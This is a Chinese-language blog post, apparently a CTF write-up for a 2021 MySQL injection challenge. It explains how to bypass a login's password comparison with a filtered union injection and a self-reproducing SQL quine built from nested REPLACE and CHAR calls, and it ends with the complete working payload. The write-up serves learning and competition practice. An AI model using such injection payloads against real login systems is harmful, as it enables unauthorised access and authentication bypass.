Loading

NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie

 

 传入$password进行查询,获取查询结果中的password和传入的$password进行比较,如果password能知道直接登入即可,否则只能尝试注入

尝试1' or 1=1#,注意到有过滤,在尝试构造

'^0#

 

提示password,因为这里获取的正确password会和传入的: '^0# 比较,很明显不行

接下来我们可以尝试盲注,但是发现password是空的,并且看代码flag并不在数据库中,而是满足条件输出

如果我们尝试

'/**/union/**/select/**/test/**/#

这是联合查询返回一个test,原密码不知道,可以返回一个已知的test

我们下一步就是尝试让test和

'/**/union/**/select/**/test/**/#

相同

实质上就是返回的值和输入值相同,对于这种输出自己的源代码的程序有一个名称,Qunie

 

 

看一个典型的Qunie的构造过程

首先看mysql的replace函数

REPLACE(str,old_string,new_string);

就是对字符串进行搜索替换

尝试构造字符串S

REPLACE('A',B,'A')
而其中的A为原字符串:
REPLACE("B",B,"B")

S即为

REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")')

尝试将S替换后的结果

REPLACE("REPLACE("B","B","B")",REPLACE("B","B","B"),"REPLACE("B","B","B")")

发现S中间那个B也被替换了,但是这个B我们不需要替换,这里尝试将他编码一下(比如Z这个字母编码为char(80))

S为:

REPLACE('A',B的编码,'A')
而其中的A为原字符串:
REPLACE("B",B的编码,"B")

即为

REPLACE('REPLACE("B","B的编码","B")',B的编码,'REPLACE("B","B的编码","B")')

尝试将S替换后的结果,这里虽然替换的是B的编码( 比如char(90) ),字符串实际替换的还是B( 即char(90)对应的字符-字母Z ),但是要替换的字符串中的B的编码不会替换( 即字母Z会被替换,char(90)不会被替换 )

REPLACE("REPLACE("B","B的编码","B")",B的编码,"REPLACE("B","B的编码","B")")

这样S和结果看上去差不多了但是单双引号不一样,如果A字符串用单引号会导致提前闭合,用双引号就会导致现在这种不匹配

 

我们可以先用依次replace让双引号替换为单引号

S为:REPLACE( REPLACE('A',CHAR(34),CHAR(39) ),B的编码,'A')
A为:REPLACE( REPLACE("B",CHAR(34),CHAR(39) ),B的编码,"B")

这里34和39是双单引号的ascii码,第一句中S对A的双引号换单引号是必须的,因为A格式中就有双引号。而A中对B的替换是为了满足S替换后保持原样。

这样S为

REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")',CHAR(34),CHAR(39)),B的编码,'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")')

先替换里面的,解决单双引号

REPLACE('REPLACE( REPLACE('B',CHAR(34),CHAR(39) ),B的编码,'B')',B的编码,'REPLACE( REPLACE("B",CHAR(34),CHAR(39) ),B的编码,"B")')

替换后为

REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")',CHAR(34),CHAR(39)),B的编码,'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),B的编码,"B")')

即满足要求

 

回归本题

让B就等于字母B,B的编码就是CHAR(66),S就是

尝试构造

S为
'/**/union/**/select/**/REPLACE(REPLACE('A',CHAR(34),CHAR(39)),CHAR(66),'A')#
A为
"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#

payload

 

'/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#

 

posted @ 2022-07-11 20:11  Aninock  阅读(885)  评论(0编辑  收藏  举报